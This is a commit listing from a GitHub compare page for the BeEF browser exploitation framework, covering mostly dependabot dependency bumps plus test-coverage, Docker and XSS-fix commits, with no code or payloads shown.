Compare commits

..

1082 Commits

Author SHA1 Message Date
zinduolis
997a2e0a9e Merge pull request #3521 from beefproject/red/safe_to_test_label
Implement safe_to_test label and update outdated github actions
2026-03-02 15:56:34 +10:00
zinduolis
8a400906ae Implement safe_to_test label and update outdated github actions in github_actions.yml 2026-03-02 15:38:36 +10:00
zinduolis
b36c502ec5 Merge pull request #3517 from beefproject/red/fix_xss
Patch XSS vulnerability
2026-03-02 14:26:20 +10:00
zinduolis
b98eff13e2 Merge branch 'master' into red/fix_xss 2026-03-02 14:10:04 +10:00
github-actions[bot]
56b32f5da6 Merge pull request #3519 from beefproject/dependabot/bundler/rubocop-1.85.0
Build(deps): bump rubocop from 1.84.2 to 1.85.0
2026-02-26 13:05:27 +00:00
dependabot[bot]
e5b227c049 Build(deps): bump rubocop from 1.84.2 to 1.85.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.84.2 to 1.85.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.84.2...v1.85.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.85.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-26 13:03:02 +00:00
zinduolis
7158f0fa44 Fix useless local assignments 2026-02-26 11:30:54 +10:00
zinduolis
70ec0de175 Fix Stored XSS in Browser Details and Core Filters 2026-02-26 11:20:30 +10:00
zinduolis
e3a668e258 sanitise PR to have just the fix 2026-02-25 15:19:47 +10:00
zinduolis
39dd7e1d2d Merge branch 'master' into red/fix_xss 2026-02-25 14:54:01 +10:00
github-actions[bot]
ca5e66e9bd Merge pull request #3516 from beefproject/dependabot/bundler/selenium-webdriver-4.41.0
Build(deps-dev): bump selenium-webdriver from 4.40.0 to 4.41.0
2026-02-20 13:05:30 +00:00
dependabot[bot]
9a648629d2 Build(deps-dev): bump selenium-webdriver from 4.40.0 to 4.41.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.40.0 to 4.41.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.40.0...selenium-4.41.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.41.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-20 13:03:03 +00:00
github-actions[bot]
1fa17e8069 Merge pull request #3515 from beefproject/dependabot/bundler/nokogiri-1.19.1
Build(deps-dev): bump nokogiri from 1.18.9 to 1.19.1
2026-02-20 00:36:23 +00:00
dependabot[bot]
ae2b95a286 Build(deps-dev): bump nokogiri from 1.18.9 to 1.19.1
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.18.9 to 1.19.1.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.18.9...v1.19.1)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-version: 1.19.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-20 00:33:58 +00:00
github-actions[bot]
19d2780814 Merge pull request #3514 from beefproject/dependabot/bundler/rack-3.2.5
Build(deps): bump rack from 3.2.4 to 3.2.5
2026-02-16 14:03:10 +00:00
dependabot[bot]
1d719b30ee Build(deps): bump rack from 3.2.4 to 3.2.5
Bumps [rack](https://github.com/rack/rack) from 3.2.4 to 3.2.5.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v3.2.4...v3.2.5)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 3.2.5
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-16 14:00:38 +00:00
github-actions[bot]
eae19d30cd Merge pull request #3513 from beefproject/dependabot/bundler/rubocop-1.84.2
Build(deps): bump rubocop from 1.84.1 to 1.84.2
2026-02-12 13:05:45 +00:00
dependabot[bot]
f9757c9e8f Build(deps): bump rubocop from 1.84.1 to 1.84.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.84.1 to 1.84.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.84.1...v1.84.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.84.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-12 13:03:22 +00:00
github-actions[bot]
7e20b2883e Merge pull request #3512 from beefproject/dependabot/bundler/rdoc-7.2.0
Build(deps-dev): bump rdoc from 7.1.0 to 7.2.0
2026-02-10 13:05:33 +00:00
dependabot[bot]
b47c85cbaa Build(deps-dev): bump rdoc from 7.1.0 to 7.2.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 7.1.0 to 7.2.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v7.1.0...v7.2.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.2.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-10 13:03:00 +00:00
github-actions[bot]
4069c70a8f Merge pull request #3511 from beefproject/dependabot/bundler/irb-1.17.0
Build(deps-dev): bump irb from 1.16.0 to 1.17.0
2026-02-09 14:30:11 +00:00
dependabot[bot]
0316a9f224 Build(deps-dev): bump irb from 1.16.0 to 1.17.0
Bumps [irb](https://github.com/ruby/irb) from 1.16.0 to 1.17.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.16.0...v1.17.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-version: 1.17.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-09 14:27:54 +00:00
zinduolis
fa8780706b Merge pull request #3503 from jake-the-dev/coverage-improvements
Test coverage improvements - Core
2026-02-05 10:37:45 +10:00
zinduolis
646908176d Merge branch 'master' into coverage-improvements 2026-02-04 08:42:59 +10:00
github-actions[bot]
d92d74501f Merge pull request #3510 from beefproject/dependabot/bundler/rubocop-1.84.1
Bump rubocop from 1.84.0 to 1.84.1
2026-02-03 13:08:58 +00:00
dependabot[bot]
ccf5d47bdb Bump rubocop from 1.84.0 to 1.84.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.84.0 to 1.84.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.84.0...v1.84.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.84.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-03 13:06:40 +00:00
github-actions[bot]
5f1ac0bd20 Merge pull request #3509 from beefproject/dependabot/bundler/json-2.18.1
Bump json from 2.18.0 to 2.18.1
2026-02-03 13:05:38 +00:00
dependabot[bot]
712dd3604a Bump json from 2.18.0 to 2.18.1
Bumps [json](https://github.com/ruby/json) from 2.18.0 to 2.18.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.18.0...v2.18.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.18.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-03 13:03:04 +00:00
Jake Webster
f238e20a51 CR: remove ARE rules related tests 2026-02-02 11:07:36 +10:00
Jake Webster
68d19a3221 UPDATE: tests with copywrite 2026-01-30 15:38:03 +10:00
Jake Webster
cbb95576b9 REMOVE: api related tests 2026-01-30 15:33:25 +10:00
Jake Webster
db8b2eca9c EDIT: remove unassigned var option 2026-01-30 15:26:03 +10:00
Jake Webster
57777b301a Merge remote-tracking branch 'upstream/master' into coverage-improvements 2026-01-30 14:45:48 +10:00
Kaito Ozawa
399ab90207 Merge pull request #3507 from kaitozaw/issue/3506-change-issue-duration
change stale timing
2026-01-30 09:19:52 +10:00
Kaito Ozawa
391dea3fca Merge branch 'master' into issue/3506-change-issue-duration 2026-01-30 09:16:34 +10:00
Kaito Ozawa
b5c750d6d8 Merge pull request #3492 from kaitozaw/measure-test-coverage
Measure test coverage
2026-01-30 09:12:49 +10:00
zinduolis
60b30fe849 Merge branch 'master' into measure-test-coverage 2026-01-29 19:55:59 +10:00
kaitoozawa
086b0b1dc2 upgrade to version 10 2026-01-29 14:50:53 +10:00
kaitoozawa
0f640ebc0e change stale timing 2026-01-29 14:50:53 +10:00
github-actions[bot]
2eab4e51bd Merge pull request #3508 from beefproject/dependabot/bundler/rubocop-1.84.0
Bump rubocop from 1.82.1 to 1.84.0
2026-01-27 13:04:11 +00:00
dependabot[bot]
8078751c0c Bump rubocop from 1.82.1 to 1.84.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.82.1 to 1.84.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.82.1...v1.84.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.84.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-27 13:01:38 +00:00
Jake Webster
95052f2066 TEST: core main handlers 2026-01-23 16:46:51 +10:00
Jake Webster
35c3912f65 TEST: core main handlers browserdetails 2026-01-23 16:40:33 +10:00
Jake Webster
647500cf78 TEST: core main command spec 2026-01-23 16:35:28 +10:00
Jake Webster
7178460256 TEST: core main geoip spec 2026-01-23 16:03:51 +10:00
Jake Webster
8b54f67566 TEST: core main server spec 2026-01-23 15:32:26 +10:00
Jake Webster
d54ec6761d TEST: core main router spec 2026-01-23 15:27:18 +10:00
Jake Webster
6ca679dc9e TEST: core module spec 2026-01-23 14:38:40 +10:00
Jake Webster
ec4d73915e TEST: core api registrar spec 2026-01-23 14:28:25 +10:00
Jake Webster
d3aef8aec6 TEST: core main rest specs 2026-01-23 14:17:28 +10:00
Jake Webster
58696560dd TEST: core main network specs 2026-01-23 12:56:46 +10:00
Jake Webster
8423b3701e TEST: core/main/models specs 2026-01-23 11:32:21 +10:00
Jake Webster
20c69be87b TEST: core/main/handlers specs 2026-01-23 11:16:01 +10:00
Jake Webster
f847cd0e37 FIX: isolate beef modules spec 2026-01-22 17:48:19 +10:00
Jake Webster
6377b02c4f TEST: core/models legacybrwosseruseragents optioncache specs 2026-01-22 17:38:58 +10:00
Jake Webster
32af09b248 FIX: command_spec test 2026-01-22 17:33:28 +10:00
Jake Webster
f923285da2 TEST: remaining core/filter specs 2026-01-22 17:13:44 +10:00
Jake Webster
5872df9d64 UPDATE: rubocop lints on browser.rb 2026-01-22 16:55:37 +10:00
Jake Webster
45a046ed2d TEST: move filters to filters/base spec 2026-01-22 16:50:58 +10:00
Jake Webster
e92da3bdde TEST: core/migration spec 2026-01-22 16:14:25 +10:00
Jake Webster
ac3f14b045 TEST: core/crypo spec 2026-01-22 15:56:24 +10:00
Jake Webster
d678c48608 TEST: core/settings spec 2026-01-22 15:39:20 +10:00
Jake Webster
96a08913d9 TEST: core/logger spec 2026-01-22 15:15:53 +10:00
Jake Webster
0970bdcd87 TEST: core/ruby method specs 2026-01-22 15:04:18 +10:00
Jake Webster
b2d832073f FIX: espeak text_to_voice install help 2026-01-22 14:23:43 +10:00
Jake Webster
9b22d92265 ADD: simplecov 2026-01-22 14:23:08 +10:00
github-actions[bot]
ddc27c8880 Merge pull request #3502 from beefproject/dependabot/npm_and_yarn/lodash-4.17.23
Bump lodash from 4.17.21 to 4.17.23
2026-01-21 23:06:10 +00:00
dependabot[bot]
ff281344d8 Bump lodash from 4.17.21 to 4.17.23
Bumps [lodash](https://github.com/lodash/lodash) from 4.17.21 to 4.17.23.
- [Release notes](https://github.com/lodash/lodash/releases)
- [Commits](https://github.com/lodash/lodash/compare/4.17.21...4.17.23)

---
updated-dependencies:
- dependency-name: lodash
  dependency-version: 4.17.23
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-21 23:03:34 +00:00
zinduolis
6409891724 eliminate escaping issues 2026-01-21 15:32:44 +10:00
zinduolis
2080cf5b0d add module for admin panel xss 2026-01-21 09:38:50 +10:00
github-actions[bot]
5cec161a7b Merge pull request #3500 from beefproject/dependabot/bundler/pry-byebug-3.12.0
Bump pry-byebug from 3.11.0 to 3.12.0
2026-01-19 14:54:05 +00:00
dependabot[bot]
75f169e318 Bump pry-byebug from 3.11.0 to 3.12.0
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.11.0 to 3.12.0.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.11.0...v3.12.0)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-version: 3.12.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-19 14:51:26 +00:00
github-actions[bot]
dadae2a79c Merge pull request #3501 from beefproject/dependabot/bundler/selenium-webdriver-4.40.0
Bump selenium-webdriver from 4.39.0 to 4.40.0
2026-01-19 14:50:21 +00:00
dependabot[bot]
ccda2a49f3 Bump selenium-webdriver from 4.39.0 to 4.40.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.39.0 to 4.40.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.39.0...selenium-4.40.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.40.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-19 14:47:50 +00:00
zinduolis
503e584d97 sanitise inputs for hooked browsers 2026-01-19 17:16:05 +10:00
github-actions[bot]
15095d2037 Merge pull request #3499 from beefproject/dependabot/bundler/rdoc-7.1.0
Bump rdoc from 7.0.3 to 7.1.0
2026-01-14 13:05:38 +00:00
dependabot[bot]
7efeef2fb7 Bump rdoc from 7.0.3 to 7.1.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 7.0.3 to 7.1.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v7.0.3...v7.1.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.1.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-14 13:03:07 +00:00
Kaito Ozawa
113b154043 Merge pull request #3489 from kaitozaw/issue/3488-long-tests
Fixes issue/long-tests (#3488)
2026-01-14 15:31:23 +10:00
kaitoozawa
fe897906a3 add checksum in dockerfile 2026-01-13 10:06:49 +10:00
kaitoozawa
2056e83050 install simplecov 2026-01-12 16:58:33 +10:00
kaitoozawa
065c7adf03 fix test cleanup and install firefox dependencies 2026-01-12 16:57:12 +10:00
github-actions[bot]
53c97721e1 Merge pull request #3490 from beefproject/dependabot/bundler/activerecord-8.1.2
Bump activerecord from 8.1.1 to 8.1.2
2026-01-09 13:03:47 +00:00
dependabot[bot]
721f1e790d Bump activerecord from 8.1.1 to 8.1.2
Bumps [activerecord](https://github.com/rails/rails) from 8.1.1 to 8.1.2.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.1.2/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v8.1.1...v8.1.2)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 8.1.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-09 13:01:19 +00:00
Kaito Ozawa
334b0c7e06 Merge pull request #3478 from kaitozaw/issue/3073-fix-google-phishing-module
Fixes issue/fix-google-phishing-module (#3073)
2026-01-09 17:14:13 +10:00
kaitoozawa
9eca144092 change indentation from space2 to tab/space4 2026-01-08 10:25:12 +10:00
kaitoozawa
15d2acf52a move functions inside beef.execute 2026-01-03 09:34:04 +10:00
Kaito Ozawa
6d57165f63 Merge pull request #3477 from kaitozaw/issue/3091-host-name-validation
Fixes issue/host-name-validation (#3091)
2026-01-02 19:46:52 +10:00
kaitoozawa
cbd9292331 add public host to host authorization list 2025-12-31 15:15:52 +10:00
Kaito Ozawa
0680a51ad0 Merge pull request #3472 from kaitozaw/issue/2174-wiki-and-helpmenu
Fixes issue/wiki-and-helpmenu (#2174)
2025-12-30 15:07:43 +10:00
kaitoozawa
ff4c89bf46 remove the commented-out command 2025-12-30 14:59:31 +10:00
kaitoozawa
85d8d78112 add help command 2025-12-30 14:14:59 +10:00
zinduolis
dca4415fb8 Merge pull request #3481 from beefproject/red/dev
Update copyright year to 2026
2025-12-30 11:22:34 +10:00
zinduolis
3b32c19637 Merge branch 'master' into red/dev 2025-12-30 11:18:26 +10:00
github-actions[bot]
1756a7a3f2 Merge pull request #3483 from beefproject/dependabot/bundler/sqlite3-2.9.0
Bump sqlite3 from 2.8.1 to 2.9.0
2025-12-29 13:04:36 +00:00
dependabot[bot]
57d2da64fe Bump sqlite3 from 2.8.1 to 2.9.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.8.1 to 2.9.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.8.1...v2.9.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.9.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-29 13:02:17 +00:00
zinduolis
4233269016 remove copyright update log file 2025-12-26 19:35:25 +10:00
zinduolis
95793433fa Update copyright year to 2026 2025-12-26 19:18:05 +10:00
github-actions[bot]
c308392cb3 Merge pull request #3480 from beefproject/dependabot/bundler/rdoc-7.0.3
Bump rdoc from 7.0.2 to 7.0.3
2025-12-25 13:04:20 +00:00
dependabot[bot]
8e8087b954 Bump rdoc from 7.0.2 to 7.0.3
Bumps [rdoc](https://github.com/ruby/rdoc) from 7.0.2 to 7.0.3.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v7.0.2...v7.0.3)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.0.3
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-25 13:01:58 +00:00
github-actions[bot]
647daae3c8 Merge pull request #3479 from beefproject/dependabot/bundler/rubocop-1.82.1
Bump rubocop from 1.82.0 to 1.82.1
2025-12-24 13:04:23 +00:00
dependabot[bot]
c4effae065 Bump rubocop from 1.82.0 to 1.82.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.82.0 to 1.82.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.82.0...v1.82.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.82.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-24 13:01:51 +00:00
zinduolis
e789afb8e6 Merge pull request #3471 from kaitozaw/issue/3465-new-issue-template
Fixes issue/new-issue-template (#3465)
2025-12-23 17:06:43 +10:00
zinduolis
8596ab98a0 Merge branch 'master' into issue/3465-new-issue-template 2025-12-23 17:00:27 +10:00
zinduolis
e8a767d548 Merge pull request #3470 from kaitozaw/issue/3468-TLS-init-failing
Fixes issue/TLS-init-failing (#3468)
2025-12-23 16:58:33 +10:00
zinduolis
309e86a29d Merge branch 'master' into issue/3468-TLS-init-failing 2025-12-23 16:55:27 +10:00
zinduolis
7507a7b440 Merge branch 'master' into issue/3465-new-issue-template 2025-12-23 15:54:22 +10:00
github-actions[bot]
08c0d72c37 Merge pull request #3476 from beefproject/dependabot/bundler/rdoc-7.0.2
Bump rdoc from 7.0.1 to 7.0.2
2025-12-22 13:04:18 +00:00
dependabot[bot]
08538b7720 Bump rdoc from 7.0.1 to 7.0.2
Bumps [rdoc](https://github.com/ruby/rdoc) from 7.0.1 to 7.0.2.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v7.0.1...v7.0.2)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.0.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-22 13:02:03 +00:00
kaitoozawa
447f0953df install libssl-dev at builder stage 2025-12-22 14:55:35 +10:00
zinduolis
00b9de63c3 Merge pull request #3474 from beefproject/dependabot/bundler/rdoc-7.0.1
Bump rdoc from 6.17.0 to 7.0.1
2025-12-22 13:13:52 +10:00
dependabot[bot]
34b2b8b6f1 Bump rdoc from 6.17.0 to 7.0.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.17.0 to 7.0.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.17.0...v7.0.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.0.1
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-22 02:04:41 +00:00
zinduolis
e1493310e4 Merge pull request #3463 from kaitozaw/issue-fix-remove-cli
Fixes issue #3447
2025-12-22 12:02:26 +10:00
zinduolis
a67d783cbc Merge branch 'master' into issue-fix-remove-cli 2025-12-22 11:56:00 +10:00
kaitoozawa
7d28bfc140 new issue template 2025-12-19 10:38:38 +10:00
zinduolis
b7ebc298e9 Merge pull request #3462 from kaitozaw/test/rspec-isolation
Fixes #3464
2025-12-18 21:14:50 +10:00
zinduolis
d3724b84bb Merge branch 'master' into test/rspec-isolation 2025-12-18 20:55:12 +10:00
kaitoozawa
c3e162a8f5 address review comments 2025-12-18 09:44:05 +10:00
github-actions[bot]
eb4fa92c84 Merge pull request #3466 from beefproject/dependabot/bundler/rubocop-1.82.0
Bump rubocop from 1.81.7 to 1.82.0
2025-12-17 13:11:03 +00:00
dependabot[bot]
ee8afbbecf Bump rubocop from 1.81.7 to 1.82.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.81.7 to 1.82.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.81.7...v1.82.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.82.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-17 13:08:43 +00:00
github-actions[bot]
292453e1f7 Merge pull request #3467 from beefproject/dependabot/bundler/irb-1.16.0
Bump irb from 1.15.3 to 1.16.0
2025-12-17 13:04:40 +00:00
dependabot[bot]
86909af828 Bump irb from 1.15.3 to 1.16.0
Bumps [irb](https://github.com/ruby/irb) from 1.15.3 to 1.16.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.15.3...v1.16.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-version: 1.16.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-17 13:02:22 +00:00
zinduolis
7ec386881e Merge branch 'master' into test/rspec-isolation 2025-12-17 15:59:43 +10:00
zinduolis
4a8b5b759d Merge pull request #3460 from kaitozaw/issue-3213-kali-support-link
Add kali support link to the issue tracker #3213
2025-12-17 15:37:34 +10:00
kaitoozawa
6189279798 remove remnants of cli 2025-12-16 11:20:40 +10:00
kaitoozawa
7d20c1138c Add Kali support link to issue template 2025-12-16 11:16:43 +10:00
kaitoozawa
bd67b8ba2a AR snapshot/restore helpers for test isolation 2025-12-16 10:53:33 +10:00
zinduolis
4b3fce07a0 Merge pull request #3461 from kaitozaw/issue-fix-dockerfile-and-testing
issue-fix-dockerfile-and-testing
2025-12-15 17:01:20 +10:00
kaitoozawa
149aeaa944 Fix review comments 2025-12-15 16:32:48 +10:00
kaitoozawa
3be084ade6 fix dockerfile installation and test spec 2025-12-14 15:23:46 +10:00
github-actions[bot]
77f59d07d9 Merge pull request #3459 from beefproject/dependabot/bundler/json-2.18.0
Bump json from 2.17.1 to 2.18.0
2025-12-11 13:04:49 +00:00
dependabot[bot]
d9d9c4db1e Bump json from 2.17.1 to 2.18.0
Bumps [json](https://github.com/ruby/json) from 2.17.1 to 2.18.0.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.17.1...v2.18.0)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.18.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-11 13:02:22 +00:00
zinduolis
5822a1b5d1 Merge pull request #3440 from mengxunQAQ/patch-1
Fix redundant and incorrect version comparison logic
2025-12-09 17:20:07 +10:00
zinduolis
841953f112 Merge branch 'master' into patch-1 2025-12-09 16:23:05 +10:00
github-actions[bot]
87cc78fc2e Merge pull request #3458 from beefproject/dependabot/bundler/rdoc-6.17.0
Bump rdoc from 6.16.1 to 6.17.0
2025-12-08 13:08:15 +00:00
dependabot[bot]
03030858c9 Bump rdoc from 6.16.1 to 6.17.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.16.1 to 6.17.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.16.1...v6.17.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.17.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-08 13:05:41 +00:00
github-actions[bot]
1b1a8b175b Merge pull request #3457 from beefproject/dependabot/bundler/selenium-webdriver-4.39.0
Bump selenium-webdriver from 4.38.0 to 4.39.0
2025-12-08 13:04:37 +00:00
dependabot[bot]
47cde1a0fd Bump selenium-webdriver from 4.38.0 to 4.39.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.38.0 to 4.39.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.38.0...selenium-4.39.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.39.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-08 13:02:18 +00:00
github-actions[bot]
b6e82f0273 Merge pull request #3456 from beefproject/dependabot/bundler/json-2.17.1
Bump json from 2.16.0 to 2.17.1
2025-12-04 13:05:07 +00:00
dependabot[bot]
98f646078f Bump json from 2.16.0 to 2.17.1
Bumps [json](https://github.com/ruby/json) from 2.16.0 to 2.17.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.16.0...v2.17.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.17.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-04 13:02:33 +00:00
github-actions[bot]
2de4c379ef Merge pull request #3454 from beefproject/dependabot/bundler/sqlite3-2.8.1
Bump sqlite3 from 2.8.0 to 2.8.1
2025-12-01 15:19:53 +00:00
dependabot[bot]
ff077b7982 Bump sqlite3 from 2.8.0 to 2.8.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.8.0 to 2.8.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.8.0...v2.8.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.8.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

